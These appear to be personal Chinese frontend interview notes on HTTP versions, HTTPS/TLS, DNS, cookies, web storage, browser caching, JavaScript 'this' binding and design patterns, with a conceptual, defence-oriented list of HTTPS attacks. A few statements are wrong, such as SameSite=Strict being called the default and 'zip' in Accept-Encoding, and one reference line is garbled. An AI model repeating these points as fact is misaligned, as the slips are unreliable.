   • 由于数据通过 URL 传递，浏览器和服务器对 URL 长度有一定限制，通常在 2KB 到 8KB 范围内
2. put
3. delete
4. post
   • 用于向服务器发送数据，一般用于提交表单、上传文件或触发服务器上的某种动作
   • 不是幂等的，每次发送 POST 请求都可能修改服务器上的数据或引发不同的操作
5. head

常见的HTTP 请求头

1. Host
2. User-Agent
3. Accept
4. Accept-Encoding: zip, deflate, br
5. Accept-Language
6. Authorization
7. Content-Type
8. Content-Length : 指示请求体的字节长度
9. Referer: 告诉服务器从哪个页面发起的请求
10. Connection: Connection: keep-alive
11. Cache-Control
12. Origin: 发起请求的来源
13. Range: 用于请求资源的部分内容，常见于下载请求中，指定从哪个字节位置开始获取资源

Content-Type

• 用于指示资源的原始媒体类型
• 常见格式
  1. text/html
  2. text/plain
  3. image/png
  4. application/json
  5. application/octet-stream
  6. application/x-www-form-urlencoded
  7. multipart/form-data
• 参考:
  • Content-Type - HTTP | MDN
  • HTTP content-type | 菜鸟教程

HTTP/1.1、HTTP/2 和 HTTP/3 的介绍及它们的主要区别

• HTTP/1.1
  • 特点

  1. 持久连接：在 HTTP/1.0 中，每次请求都需要新建一个 TCP 连接，而 HTTP/1.1 引入了持久连接（Keep-Alive），允许多个请求复用同一个连接，从而减少了建立连接的开销。

  2. 管线化（Pipelining）：HTTP/1.1 支持请求管线化，即可以在发送一个请求后，不等响应完成就发送下一个请求，从而减少等待时间。不过由于实现复杂，这个特性并没有得到广泛应用。

  3. 缓存控制：HTTP/1.1 引入了更灵活的缓存机制，通过 Cache-Control 和 ETag 头部来优化缓存和验证机制，减少了重复的数据传输。

  4. Host 头部：HTTP/1.1 要求所有请求都包含 Host 头部，使得一个服务器可以托管多个域名（虚拟主机）。

  • 局限性：
  1. 队头阻塞（Head-of-Line Blocking）：由于 HTTP/1.1 基于单一的 TCP 连接，当一个请求阻塞时，后续的请求也会被阻塞。
  2. 并发连接的限制：浏览器为了加速页面加载，往往需要建立多个 TCP 连接来并行加载资源，但这会加重服务器和网络的负担。Chrome浏览器通常允许每个域名同时发出的最大连接数为6个。

2. HTTP/2

• 特点

1. 二进制协议：HTTP/2 使用二进制格式而不是 HTTP/1.1 的文本格式，这样数据可以更高效地解析和处理。

2. 多路复用（Multiplexing）：HTTP/2 允许在同一个 TCP 连接上同时发送多个请求和响应，避免了队头阻塞。每个请求被分为独立的帧，并通过流 ID 来区分，这些帧可以交错传输。

3. 头部压缩：HTTP/2 使用 HPACK 算法对头部信息进行压缩，减少了冗余数据的传输，尤其是当多个请求使用相同的头部时，效果尤为显著。

4. 服务器推送：服务器可以主动向客户端推送可能会用到的资源（例如 CSS 或 JS 文件），即使客户端还没有请求这些资源。这样可以减少等待时间，加快页面加载速度。

• 局限性

1. 虽然多路复用减少了队头阻塞，但 HTTP/2 仍然基于 TCP，TCP 连接的队头阻塞问题没有完全消除。

2. 在网络丢包的情况下，TCP 的重传机制会导致整个连接中的所有数据都受到影响。

3. HTTP/3

   • 特点

     1. 基于 QUIC 的传输协议：QUIC 是一种基于 UDP 的传输协议，它通过在用户态实现拥塞控制、重传等功能，减少了握手和延迟。QUIC 的最大特点是可以避免 TCP 的队头阻塞。

     2. 更快的握手：QUIC 通过 0-RTT 和 1-RTT 的握手机制，实现了比 TCP 快得多的连接建立时间。传统的 TCP 需要三次握手，而 QUIC 可以在一次往返中建立连接，减少了延迟。

     3. 独立的流：QUIC 协议允许在一个连接中传输多个独立的流，即使某个流中有数据丢失，其他流不会受到影响，从而彻底解决了 TCP 的队头阻塞问题。

     4. 内置加密：与 HTTP/2 一样，HTTP/3 默认要求加密。QUIC 本身就内置了 TLS 加密功能，简化了加密过程，提高了安全性。

• 使用 UDP 而非 TCP的原因

  1. UDP 提供了更高的灵活性和效率
  2. QUIC 协议通过在应用层实现流控、拥塞控制、加密等功能，避免了 TCP 的许多限制，如队头阻塞、慢速连接建立和复杂的中间设备干扰
  3. QUIC 通过 UDP 实现了更快的连接建立、灵活的连接管理和更强的传输性能

• 局限性：

  1. 部署复杂性：由于 HTTP/3 基于 QUIC，而 QUIC 使用 UDP 传输，因此需要服务器和网络设备对 UDP 有良好的支持。这对某些旧的网络基础设施可能带来挑战。

• HTTP/1.1、HTTP/2 和 HTTP/3 的对比

HTTP 和 HTTPS 区别

• HTTPS 是在 HTTP 协议基础上实施 TLS 加密，所有网站以及其他部分 web 服务都使用该协议。因此，任何使用 HTTPS 的网站都使用 TLS 加密。

• HTTPS目的

  1. 数据加密
  2. 数据一致性
  3. 身份认证

• 参考：

  • 为什么 HTTP 不安全？| HTTP 与 HTTPS | Cloudflare
  • 我HTTPS只为三件事！ - 橙汁坤的博客 | czkm Blog
  • HTTPS 隐私安全的一些实践

HTTPS原理

• 依靠**TLS（传输层安全性协议）**来提供加密、认证和数据完整性。

• 加密通信

  • HTTPS 使用对称加密和非对称加密结合的方式来加密通信：
  • 非对称加密：在连接开始时，客户端和服务器通过非对称加密（公钥和私钥）进行握手。服务器提供一个公钥，客户端使用这个公钥加密信息，然后服务器用自己的私钥解密。由于公钥是公开的，而私钥是保密的，这确保了只有服务器能够解密加密的信息。
  • 对称加密：握手过程中，双方会生成一个共享的会话密钥（对称密钥）。这个对称密钥用于接下来的通信，因为对称加密在处理大量数据时比非对称加密快得多。

• 身份认证

  • HTTPS 使用数字证书和**证书颁发机构（CA）**来验证服务器的身份，确保客户端正在与合法的服务器通信，而不是中间人攻击者。
  • 数字证书：服务器必须提供一个受信任的数字证书，通常由一个可信的CA（如Let’s Encrypt、DigiCert等）签发。数字证书中包含了服务器的公钥和证书持有者的信息。
  • 证书验证：客户端会检查这个证书是否由受信任的CA签发，是否有效，以及是否与服务器的域名匹配。如果证书有问题，浏览器会警告用户。

• 数据完整性

  • HTTPS 通过使用哈希函数（如 SHA256）来确保数据传输的完整性。具体来说，每个数据包都会附带一个哈希值，接收方可以通过这个哈希值验证数据是否在传输过程中被篡改。如果数据被篡改，哈希值将不匹配，通信会被终止。

• 握手过程（TLS握手）

  1. 客户端Hello：客户端发送一个请求，包含可支持的加密算法、TLS版本等信息。
  2. 服务器Hello：服务器响应，并发送数字证书和选择的加密算法。
  3. 密钥交换：客户端使用服务器的公钥加密生成的会话密钥，并将其发送给服务器。服务器用私钥解密并获得该密钥。
  4. 握手完成：双方开始使用会话密钥进行对称加密的通信。

HTTPS缺陷(SNI)

• ClientHello 中的 SNI(Server Name Indication)
• GFW 基于 SNI 来掐断你的 HTTPS 握手
• 境内公有云基于 SNI 来阻断未备案的域名

HTTPS 攻击方式

1. 中间人攻击（Man-in-the-Middle Attack, MITM）

• 攻击方法
  • 恶意Wi-Fi热点：攻击者设置一个假冒的公共Wi-Fi热点，诱使用户连接，通过DNS劫持或使用不安全的HTTP版本，拦截流量。
  • 恶意代理：在客户端与服务器之间，攻击者可能通过劫持代理服务器来解密和重新加密数据。
• 防范措施：确保证书和域名验证正确，使用HSTS（HTTP Strict Transport Security）强制HTTPS连接，避免降级到不安全的HTTP。

2. SSL剥离攻击（SSL Stripping）

• SSL剥离攻击是中间人攻击的一种特殊形式，攻击者强迫客户端与服务器使用HTTP而不是HTTPS。攻击者拦截客户端请求，并将其重写为HTTP（即明文），然后在服务器和攻击者之间使用HTTPS。
• 攻击方法：用户尝试通过HTTP连接到网站，服务器重定向到HTTPS，但攻击者在重定向之前拦截并降级为HTTP。
• 防范措施：启用HSTS策略，它能确保浏览器在连接时始终使用HTTPS，并阻止降级为HTTP的攻击。

3. 证书伪造或冒充攻击

• 证书伪造：攻击者可能通过不安全的证书颁发机构（CA）或通过社会工程手段获得伪造的证书，假冒合法网站。
• 中间证书颁发机构滥用：如果中间证书颁发机构被攻击者控制，他们可能使用合法的中间证书签发虚假的证书。
• 防范措施：启用证书透明度（Certificate Transparency），它可以帮助检测和阻止伪造证书。现代浏览器会警告用户关于无效或伪造的证书。

4. 降级攻击（Downgrade Attack）

• 攻击方法: 攻击者强迫客户端和服务器使用较弱的加密算法或不安全的TLS版本（如SSL 3.0或TLS 1.0），以便更容易进行破解或解密。
• 防范措施：服务器应该禁用过时的SSL/TLS版本和弱加密算法（如RC4），并仅支持最新的TLS协议版本。

5. TLS重协商攻击

• 攻击方法: TLS的重协商机制可能被攻击者利用，插入自己的数据到加密会话中，欺骗服务器认为这些数据来自合法的客户端。
• 防范措施：确保服务器和客户端都使用安全的TLS重协商机制，并打补丁修复已知漏洞。

6. 恶意软件和浏览器劫持

• 攻击方法：即使HTTPS保护了传输中的数据，攻击者仍然可能通过用户设备上的恶意软件或浏览器劫持绕过HTTPS。例如，某些恶意软件可以劫持浏览器流量，将用户重定向到虚假网站，即使启用了HTTPS。
• 防范措施：保持操作系统和软件的安全更新，使用防病毒软件，并提高用户安全意识。

DNS

DNS 查询顺序

1. 浏览器 DNS 缓存
2. 浏览器调用 getaddrinfo() 查询数据，其中 getaddrinfo() 会根据如下顺序查询
   1. 先看 /etc/hosts 文件
   2. 通过主机名服务/mDNS 查询
   3. 通过 systemd-resolved 查询
   4. 最后通过 DHCP 下发的 DNS 查询
   5. 一级级往上查询直到根 DNS 服务器

使用协议

• DNS在进行区域传输的时候使用TCP协议
• 其它时候则使用UDP协议
• 默认端口号: 53

DNS安全

• HTTPS 隐私安全的一些实践

参考

• DNS为什么既使用TCP又使用UDP？ | 为什么这么涛的个人博客
• 重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分 | Nova Kwok’s Awesome Blog

SSL / TLS

SSL (Secure Socket Layer)

• 安全套接字层

TLS (Transport Layer Security)

• SSL的升级版
• 作用
  1. 加密
  2. 身份验证
  3. 完整性

参考

• 什么是传输层安全性（TLS）？ | Cloudflare
• 深入探究 SSL/TLS 协议 | Liuyib’s Blog
• 网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog
• TLS/ESNI/ECH/DoT/DoH/JA3 - 谈谈 HTTPS 网络下浏览体验安全性的最后缝隙 - Joe’s Blog
• 网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog
• HTTPS 隐私安全的一些实践

ipv4与ipv6

• ipv6的环回地址: 0:0:0:0:0:0:0:1，通常也简写为::1
• 参考:
  • IPv6 基础知识 - Uranus’ Wiki

CDN

• CDN（Content Delivery Network，内容分发网络）
• CDN通过将内容缓存到全球多个节点（也称为边缘服务器）上，使得用户能够从最近的服务器获取数据，从而加快访问速度并减少延迟。
• Amazon CloudFront 是 Amazon Web Services（AWS）提供的全球内容分发网络（CDN）服务

待分类

网络包

• 参考
  • 就是要你懂网络–一个网络包的旅程 | plantegg

轮询、长轮询（Long polling）、WebSocket

• 轮询：定期向服务器发出请求
• 长轮询过程
  1. 请求发送到服务器。
  2. 服务器在有消息之前不会关闭连接。
  3. 当消息出现时 —— 服务器将对其请求作出响应。
  4. 浏览器立即发出一个新的请求。
• WebSocket提供了一种在浏览器和服务器之间建立持久连接来交换数据的方法。数据可以作为“数据包”在两个方向上传递，而无需中断连接也无需额外的 HTTP 请求。
• 参考
  • 长轮询（Long polling）
  • WebSocket

ARP

ARP（Address Resolution Protocol，地址解析协议）是用来将IP地址解析为MAC地址的协议。 主机或三层网络设备上会维护一张ARP表，用于存储IP地址和MAC地址的映射关系，一般ARP表项包括动态ARP表项和静态ARP表项。

关键一

• this永远指向，（最内层）调用这个包含"this"关键字的函数的对象
• 也就是说: 无论在哪里找到方法：在一个对象还是在原型中。在一个方法调用中，this 始终是点符号.前面的对象
• 示例一

  my_element.addEventListener("click", function (e) {
  console.log(this.className); // 输出 my_element 的 className
  console.log(e.currentTarget === this); // 输出 `true`
  });
  

• 示例二

  let user = {
  name: "John",
  surname: "Smith",
  
  set fullName(value) {
      [this.name, this.surname] = value.split(" ");
  },
  
  get fullName() {
      return `${this.name} ${this.surname}`;
  }
  };
  
  let admin = {
  __proto__: user,
  isAdmin: true
  };
  
  alert(admin.fullName); // John Smith (*)
  
  // setter triggers!
  admin.fullName = "Alice Cooper"; // (**)
  
  alert(admin.fullName); // Alice Cooper，admin 的内容被修改了
  alert(user.fullName);  // John Smith，user 的内容被保护了
  

关键二

• 如果函数在最外层直接运行，默认绑定的对象是 window
• 示例

  function test(){
      var a = 1;
      console.log(this.a);
  }
  
  test(); //undefined
  

补充

• 对象不构成单独的作用域，而函数有。
• In arrow functions, this retains the value of the enclosing lexical context’s this.
• 箭头函数的this，一旦确定后是不可直接更改的，但可间接更改，示例：

  function test () {
      return () => console.log(this); // 这里箭头函数的this指向test()的this
  }
  let obj = {
      aa: 123,
  }
  
  let rr = test.call(obj); // test()的this被修改了，导致箭头函数的也跟着修改了
  
  setTimeout(rr,1000); // obj ，而不是window; 因为箭头函数rr的this已经确定了，后面不能更改
  

参考

• Javascript ：this关键字 详解 - 知乎
• javascript - 关于箭头函数里的this - 个人文章 - SegmentFault 思否
• JavaScript深入之重新认识箭头函数的this | 木易杨前端进阶
• this - JavaScript | MDN
• Reference Type

call、bind、apply

apply

• 接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以数组的形式传入,必须一次性传入所有参数
• 当第一个参数为null、undefined的时候，默认指向window(在浏览器中)
• 改变this指向后原函数会立即执行，且此方法只是临时改变thi指向一次。
• 示例:

  var arr=[1,10,5,8,3];
  console.log(Math.max.apply(null, arr)); //10
  

call

• 接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以参数列表的形式传入,必须一次性传入所有参数
• 当第一个参数为null、undefined的时候，默认指向window(在浏览器中)
• 改变this指向后原函数会立即执行，且此方法只是临时改变this指向一次。
• 示例：

  var arr=[1,10,5,8,3];
  console.log(Math.max.call(null,arr[0],arr[1],arr[2],arr[3],arr[4])); //10
  

bind

• Function.prototype.bind() - JavaScript | MDN
• 接受两个参数，第一个参数是this的指向，如果函数不在严格模式下，null 和 undefined 会被替换为全局对象;
• 第二个参数是函数接受的参数，以参数列表的形式传入,可以分多次传入
• 改变this指向后不会立即执行，而是返回一个永久改变this指向的函数
• 可以二次传参，但新绑定的 thisArg 值会被忽略
• 示例：

  var arr=[1,10,5,8,12];
  var max=Math.max.bind(null,arr[0],arr[1],arr[2],arr[3])
  console.log(max(arr[4])); //12，分两次传参
  

• 简易实现

  Function.prototype.bind=function () {
    var _this=this;
    var context=arguments[0];
    var arg=[].slice.call(arguments,1); //将函数调用时传入的参数转换为数组，并且去掉了第一个参数
  
    return function(){
      arg=[].concat.apply(arg,arguments);
      _this.apply(context,arg);
    }
  };
  

作用

• 防止原型链污染
• 示例:
  • JavaScript does not protect the property name hasOwnProperty; an object that has a property with this name may return incorrect results
  • The recommended way to overcome this problem is to instead use Object.hasOwn() (in browsers that support it). Other alternatives include using an external hasOwnProperty:
  • 代码

    const foo = { bar: "Here be dragons" };
    
    // Use Object.hasOwn() method - recommended
    Object.hasOwn(foo, "bar"); // true
    
    // Use the hasOwnProperty property from the Object prototype
    Object.prototype.hasOwnProperty.call(foo, "bar"); // true
    
    // Use another Object's hasOwnProperty
    // and call it with 'this' set to foo
    ({}).hasOwnProperty.call(foo, "bar"); // true
    

代码输出题

题目一

• 代码

  const obj = {
    name: 'eu',
    sayHi1: ()=>{
      console.log(this.name);
    },
    sayHi2() {
      (()=>{
        console.log(this.name);
      })();
    }
  }
  obj.sayHi1(); // ''
  obj.sayHi2(); // 'eu'
  

• 解释：
  1. obj.sayHi1() 的执行

     • 考察知识点一: 箭头函数中的 this： 箭头函数不会创建自己的 this 绑定，它会继承上下文中的 this。也就是说，this 的值取决于箭头函数定义时所在的上下文，而不是调用时的上下文。

     • 本题中的应用: 在 sayHi1 方法中，箭头函数被定义在 obj 对象的上下文中，但是由于箭头函数继承的是定义时的 this，而不是调用时的 this，this 将会是全局上下文（在严格模式下为 undefined，在非严格模式下为 window）。

       因为 this 不是指向 obj，而是指向全局对象，this.name 在全局对象中是未定义的，可能返回 undefined 或空字符串 ''，具体取决于运行环境。

  2. obj.sayHi2() 的执行
     • 考察知识点一: 简写函数定义

       sayHi2(){
        console.log('hi');
       }
       // 相当于
       sayHi2: function(){
        console.log('hi');
       }
       

     • 考察知识点二: 普通方法中的 this会根据调用的上下文来决定
     • 本题中的应用 sayHi2 是一个普通方法，因此 this 会根据调用的上下文来决定。在这个例子中，obj.sayHi2() 是调用 sayHi2，所以 this 指向 obj。

参考

• 彻底弄懂bind，apply，call三者的区别 - 知乎
• Object.prototype.hasOwnProperty() - JavaScript | MDN

概述

2024年10月13日

• Cookie是最古老和最基本的客户端存储机制之一。
• Cookie是由服务器发送到用户浏览器的小型文本文件，存储在用户的计算机上。
• Cookie是基于域的，不区分协议
• 每次发送HTTP请求时，浏览器都会将相应的Cookie发送回服务器。
• Cookie通常用于存储用户偏好设置、跟踪用户行为等信息。

限制

• 格式: name=value, name和value都应该使用内建的 encodeURIComponent 函数对其进行转义
• 大小: encodeURIComponent 编码后的 name=value 对，大小不能超过 4KB
• 数量: 每个域的 cookie 总数在20到50左右，具体限制取决于浏览器。
• 可以通过设置Cookie的过期时间来控制Cookie的生命周期。

安全性

• path=/mypath:
  • 该路径下的页面可以访问该 cookie
  • 默认为当前路径
• domain=site.com:
  • 控制可访问 cookie 的域
  • 默认(也就是不设置的话),不会共享给子域
  • 只有明确地将 domain 选项设置为根域，子域才能访问

    // 在 site.com
    // 使 cookie 可以被在任何子域 *.site.com 访问：
    document.cookie = "user=John; domain=site.com"
    
    // 之后
    // 在 forum.site.com
    alert(document.cookie); // 有 cookie user=John
    

• expires, max-age
  • 如果没有设置这两个参数都没有设置，那么在关闭浏览器之后会消失，也就是session cookie
  • expires 要求使用 GMT 时区的这种格式

    // 当前时间 +1 天
    let date = new Date(Date.now() + 86400e3);
    date = date.toUTCString();
    document.cookie = "user=John; expires=" + date;
    

  • max-age: 单位为秒
• secure
  • 表示该cookie只能通过HTTPS传输
• samesite
  1. strict
  • 默认
  • 如果用户来自同一网站之外，那么设置了 samesite=strict 的 cookie 永远不会被发送
  2. lax
  • 和 strict 模式类似，当从外部来到网站，则禁止浏览器发送 cookie，除非满足两个条件
    1. HTTP 方法是“安全的”（例如 GET 方法，而不是 POST）。
    2. 该操作执行顶级导航（更改浏览器地址栏中的 URL）。
  • 缺点：会被到 2017 年左右的旧版本浏览器忽略（不兼容）
• httpOnly
  • Web服务器使用 Set-Cookie header 来设置 cookie时，可以设置 httpOnly 选项
  • 禁止任何 JavaScript 访问 cookie

第三方cookie

• 如果 cookie 是由用户所访问的页面的域以外的域放置的，则称其为第三方 cookie。
• 通常用于跟踪和广告服务。它们被绑定在原始域上，因此第三方网站可以在不同网站之间跟踪同一用户，如果这些网站都可以访问该第三方网站的话

GDPR

• 欧洲有一项名为 GDPR 的立法，该法规针对网站尊重用户实施了一系列规则。其中之一就是需要明确的许可才可以跟踪用户的 cookie。
• 如果我们要设置带有身份验证会话（session）或跟踪 id 的 cookie，那么必须得到用户的允许。

参考

• Cookie，document.cookie
• Chrome禁用三方Cookie：前端必知的影响 - 掘金

sessionStorage和localStorage

sessionStorage

• sessionStorage是HTML5引入的Web存储机制之一，用于在浏览器中临时存储会话数据。
• sessionStorage中存储的数据仅在当前会话期间有效，当用户关闭浏览器标签页或窗口时会被清除。
• sessionStorage中存储的数据仅限于当前页面或同源页面之间共享，不同页面之间的sessionStorage数据不会共享。

localStorage

• localStorage也是HTML5引入的Web存储机制之一，用于在浏览器中持久存储数据。
• localStorage中存储的数据在用户关闭浏览器后仍然保留，直到用户显式删除它们。
• localStorage中存储的数据也只限于同源页面之间共享，不同源页面之间的localStorage数据不会共享。
• 存满了会报错: QuotaExceededError

对比

• 生命周期：
  1. Cookie可以通过设置过期时间来控制生命周期
  2. sessionStorage的数据仅在当前会话期间有效
  3. localStorage的数据则在浏览器关闭后仍然保留。
• 数据共享：
  1. Cookie的数据则在同源或跨域请求中都会发送到服务器端。
  2. sessionStorage: 多窗口之间sessionStorage不可以共享状态,但是在某些特定场景下新开的页面会复制之前页面的sessionStorage
  3. localStorage的数据在同源页面之间共享
• 存储容量：
  • Cookie相对较小(几kb)
  • sessionStorage和localStorage通常具有更大的存储容量限制(几兆)

storage event

• 不会冒泡

• The storage event of the Window interface fires when a storage area (localStorage or sessionStorage) has been modified in the context of another document.

• A way for other browsing contexts on the domain using the storage to sync any changes that are made.

• Event properties

  1. key
  2. newValue
  3. oldValue
  4. storageArea
  5. url

• 示例

  window.addEventListener("storage", () => {
    // When local storage changes, dump the list to
    // the console.
    console.log(JSON.parse(window.localStorage.getItem("sampleList")));
  });
  

• Window: storage event - Web APIs | MDN

延伸

• use localStorage to maintain state across windows
  • bgstaal/multipleWindow3dScene: A quick example of how one can “synchronize” a 3d scene across multiple windows using three.js and localStorage
• 使用sessionStorage和localStorage来存储jwt
  • EuDs63/BookRecommend_Front: 图书推荐系统
• localStorage 存满了再往里写会发生什么？
  • 存不进去并报错（QuotaExceededError）
  • localSto存不进去并报错（QuotaExceededError）rage 存满了怎么办？ - {Bison} - 博客园

参考：

• 请描述 cookie, sessionStorage 和 localStorage 的差异｜ExplainThis
• Window.sessionStorage - Web API 接口参考 | MDN
• 面试官：你确定多窗口之间sessionStorage不能共享状态吗？？？🤔 - 掘金

IndexedDB

概念

• 浏览器中的数据库

用户能修改吗？

• 答: Chrome浏览器并没有提供给用户直接修改的方式,但肯定能改。
• 存储的位置位于(win11系统): c:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\
• 每个“源”有两个文件夹，类似于

  http_localhost_3001.indexeddb.blob
  http_localhost_3001.indexeddb.leveldb
  
  https_www.bilibili.com_0.indexeddb.blob
  https_www.bilibili.com_0.indexeddb.leveldb
  

  ps: 看到这就很好理解同源的要求了
• 被加密了，但还是不推荐存储任何服务端敏感的内容于用户端
• Edit IndexedDB data by using the Console tool - Microsoft Edge Developer documentation | Microsoft Learn

优化

• 思路来自Tristan on X

虽然indexDB可以当数据库存很多图片（blob），但随着用户使用的时间变长，本地存放的图会越来越多，其实大部分是不会再用到的，数据一多，读取效率会打折扣，所以做了个FIFO存储队列，最多存50张。

参考

• IndexedDB - Web API 接口参考 | MDN
• IndexedDB
• Edit data in IndexedDB by the user - Stack Overflow
• View and change IndexedDB data - Microsoft Edge Developer documentation | Microsoft Learn

CacheStorage

• This feature is available in Web Workers.

参考

• CacheStorage - Web APIs | MDN

浏览器缓存

定义

当我们访问一个网站时，会加载各种资源，如 HTML文档、JS、CSS、图片等。浏览器会将一些不经常变的资源保存在本地，这样下次访问相同网站时，就直接从本地加载资源，并不通过请求服务器，这就是浏览器缓存

分类

• 根据位置分类

  • memory cache:主要用来缓存有 preloader 相关指令的资源;关闭tab页后就释放
  • disk cache

• 根据是否需要和服务器进行通信分类

  • 强缓存
    • 不会向服务器发送请求，直接从缓存中读取资源
    • 通过Expires和Cache-Control来实现的
  • 协商缓存
    • 在强缓存失效后，浏览器携带缓存标识向服务器发起请求，由服务器根据缓存标识来决定是否使用缓存
    • 利用的是Last-Modified,If-Modified-Since和ETag,If-None-Match这两对Header来管理

Response Header中的相关属性

1. Expires

• HTTP/1

2. Last-Modified / If-Modified-Since

• HTTP/1
• 流程
  1. 浏览器第一次访问资源，服务器会 Response Header 里添加 Last-Modified 的值
  2. 浏览器在下一次请求这个资源的时候，检测到有Last-Modified这个 Header。浏览器就会在Request中加上 If-Modified-Since，If-Modified-Since的值就是 Last-Modified 的值
  3. 服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。
  4. 如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。

3. Cache-Control

• HTTP/1.1
• 优先级比 Expires 要高
• 可选值
  • public
  • private
  • no-store: 完全禁用缓存，资源不会存储在缓存中。
  • no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存
  • max-age=60

4. ETag / If-None-Match

• HTTP/1.1
• ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成
• 浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的Etag值放到request header里的If-None-Match里
• ETag 的优先级要高于 Last-Modified
• 解决了Last-Modified的如下问题
  1. 某些服务器不能精确得到文件的最后修改时间， 这样就无法通过最后修改时间来判断文件是否更新了。
  2. 某些文件的修改非常频繁，在秒以下的时间内进行修改. Last-Modified只能精确到秒。
  3. 一些文件的最后修改时间改变了，但是内容并未改变。 我们不希望客户端认为这个文件修改了。

如何禁用缓存(如何使缓存失效)

• 场景一: 发版，要求无视缓存
  • 每次对应静态文件里有内容改动的时候，自动加一段 hash 到静态文件名里
• 场景二: 用户自己想要刷新
  • F5 刷新: 因浏览器而异
  • Ctrl + F5 强制刷新的时候，会暂时禁用强缓存和协商缓存

后端配置

• setHeader之类
• Nginx 配置

参考

• 浏览器缓存机制：强缓存和协商缓存
• 前端 - 浏览器的强缓存和协商缓存 - yiliang.share - SegmentFault 思否
• HTTP缓存控制: Cache-Control - Lewin’s Blog

其他缓存

Memory Cache（内存缓存）

• 特点：缓存存储在浏览器的内存中，主要用于存储从网络请求获取的资源（如 HTML、CSS、JavaScript 和图片）。这种缓存生命周期短，只在当前页面会话中有效，页面刷新或关闭后缓存会被清除。
• 用途：用于快速重用同一页面内的资源，提升页面加载速度。
• 存储时间：通常在页面刷新或关闭后即清除。
• 优点：速度最快，适用于瞬时的页面资源重用。

Push Cache

• 特点: 在用户并未明确请求某些资源的情况下，提前将这些资源推送到用户的缓存中。
• 用途: 在用户即将需要某些资源时，提前发送这些资源，这样在用户实际请求时，可以直接从缓存中获取，而无需再次请求服务器。

Application Cache（AppCache）

• 特点：这是 HTML5 中引入的离线缓存机制，允许开发者为 web 应用创建一个离线模式，用户即使断网也能访问缓存的内容。然而，由于 AppCache 有不少缺陷和安全隐患，已被弃用。
• 用途：过去用于创建离线 web 应用，但目前已被 Service Worker 取代。
• 状态：AppCache 从 HTML 5.1 开始废弃，现在大多数浏览器都不再支持。

WebSQL

• 特点：WebSQL 是一种基于 SQL 的数据库，最初用于在浏览器中存储结构化数据。然而由于其标准化进程停止，WebSQL 不再是主流推荐的方案。
• 用途：在浏览器中进行 SQL 查询和存储结构化数据，类似 IndexedDB 的早期版本。
• 状态：已被 IndexedDB 取代。

Web Storage Cache API

• 特点：缓存 API 是 Service Worker 的一部分，允许在浏览器中存储 Request 和 Response 对象，常用于离线缓存。与普通缓存机制不同，开发者可以精确控制缓存的资源，并且缓存的内容可以在离线时访问。
• 用途：用于离线支持、缓存管理、动态内容缓存，通常与 Service Worker 配合使用。
• 优点：可控性更强，适用于现代 PWA（渐进式 Web 应用）的缓存策略。

Manifest Storage

• 特点：一种较新的 API（如 Web App Manifest），允许开发者为应用程序提供缓存策略和应用图标等元数据，常用于渐进式 Web 应用（PWA）。
• 用途：存储应用元数据，定义应用行为（如是否作为全屏应用、离线模式等）。

File System Access API

• 特点：允许 Web 应用访问用户的文件系统，可以直接读写文件。通过这个 API，Web 应用可以处理用户计算机上的文件，实现类似桌面应用的体验。
• 用途：用户可以在不离开浏览器的情况下，直接从文件系统中读取、修改和保存文件。
• 状态：这是一个较新的 API，仍在部分浏览器中实现，安全性要求较高。

参考

• 探索浏览器端的存储方式

创建型

• 要点
  • 提供创建对象的机制， 能够提升已有代码的灵活性和可复用性。
• 工厂方法
• 抽象工厂
• 生成器
• 原型
• 单例

结构型

• 要点
  • 考虑的是对象的组成和对象之间的关系,假如对象发生了重大改变,对当前对象操作影响降至最低
  • 将对象和类组装成较大的结构， 并同时保持结构的灵活和高效。
• 适配器模式
• 桥接模式
• 组合
• 装饰器模式
• 外观模式
• 享元模式
• 代理模式

行为型

• 要点
  • 关注的是对象之间的依赖关系以及通信
  • 负责对象间的高效沟通和职责委派。
• 责任链
• 命令
• 迭代器
• 中介者
• 备忘录
• 观察者
• 状态
• 策略
• 模板方法
• 访问者

前端常用

1. 单例模式
2. 观察者模式(发布订阅模式)
   • redux
3. 命令模式
   • s3
4. 策略模式
   • 大幅度减少多重条件下的判断

有助于提高系统的可拓展性

• 工厂模式
• 抽象工厂模式
• 观察者模式: 观察者很容易增加
• 适配器模式: 适配新的接口
• 代理模式: 在原来的功能上增加新功能或逻辑
• 责任链模式: 通过新增拦截器/过滤器来实现对数据的处理
• 策略模式: 新增策略

发布订阅

定义

• 发布-订阅模式其实是一种对象间一对多的依赖关系。
• 当一个对象的状态发送改变时，所有依赖于它的对象都将得到状态改变的通知。
• 三个角色(订阅者，调度中心，发布者)
• 流程：订阅者（Subscriber）把自己想订阅的事件注册（Subscribe）到调度中心（Event Channel），当发布者（Publisher）发布该事件（Publish Event）到调度中心，也就是该事件触发时，由调度中心统一调度（Fire Event）订阅者注册到调度中心的处理代码。

实现

• 摘自手写一个基于发布订阅模式的js事件处理中心(EventEmitter) - 掘金

class EventEmitter{
    constructor(){
        this._events = {};
    }

    on(eventName, callback){
        if(this._events[eventName]){
            if(this.eventName !== "newListener"){
                this.emit("newListener", eventName)
            }
        }
        const callbacks = this._events[eventName] || [];
        callbacks.push(callback);
        this._events[eventName] = callbacks
    }

    emit(eventName, ...args){
        const callbacks = this._events[eventName] || [];
        callbacks.forEach(cb => cb(...args))
    }

    once(eventName, callback){
        const one = (...args)=>{
            callback(...args)
            this.off(eventName, one)
        }
        one.initialCallback = callback;
        this.on(eventName, one)
    }

     off(eventName, callback){
        const callbacks = this._events[eventName] || [];
        const newCallbacks = callbacks.filter(fn => fn != callback && fn.initialCallback != callback /* 用于once的取消订阅 */)
        this._events[eventName] = newCallbacks;
    }
}

EventBus

• 指greenrobot/EventBus: Event bus for Android and Java that simplifies communication between Activities, Fragments, Threads, Services, etc. Less code, better quality.
• 发布订阅模式
• 
